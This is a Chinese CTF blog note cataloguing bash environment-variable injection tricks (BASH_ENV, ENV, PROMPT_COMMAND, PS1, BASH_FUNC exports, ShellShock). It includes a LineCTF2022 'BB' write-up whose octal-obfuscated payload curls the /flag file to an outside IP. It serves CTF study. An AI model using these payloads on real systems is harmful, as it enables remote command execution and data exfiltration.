初识环境变量注入

简介

来源于p牛的博客https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

一周内两个大ctf都涉及到这个点,做下简单整理。

整理

BASH_ENV

触发命令:

bash

1
2
BASH_ENV='$(curl xxxxx)'
BASH_ENV='$(id 1>&2)'

ENV

触发命令:

bash -i -c需要两个参数

sh -i -c 需要两个参数

1
2
ENV='$(id 1>&2)' dash -i -c 'echo hello'
ENV='$(id 1>&2)' sh -i -c "echo hello"

PROMPT_COMMAND

触发命令

bash

1
PROMPT_COMMAND='id' bash

PS1

触发命令

bash 需要交互式shell

1
PS1='$(id)' bash

匿名函数

1
2
env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

文中给出了突破centos7的方法,也就是Bash 4.4

1
2
3
Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如TEST=() { :; }; id;
Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

[LineCTF2022]BB

简介

环境变量注入RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);

function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}

foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
system("bash -c 'imdude'");

foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>

这里是bash可以尝试用BASH_ENV来注入

image.png

但是这里过滤了所有的字母,可以用八进制绕过。

https://twitter.com/DissectMalware/status/1023682809368653826

image.png

1
2
?env[BASH_ENV]=$($'\143\165\162\154'%20$'\61\56\61\61\67\56\61\64\64\56\64\61\72\64\64\64\64')
能外带数据,尝试-F把flag带出来
1
/?env[BASH_ENV]=$($'\143\165\162\154'%20$'\61\56\61\61\67\56\61\64\64\56\64\61\72\64\64\64\64'%20$'\55\106'%20$'\146\151\154\145\75\100\57\146\154\141\147')

image.png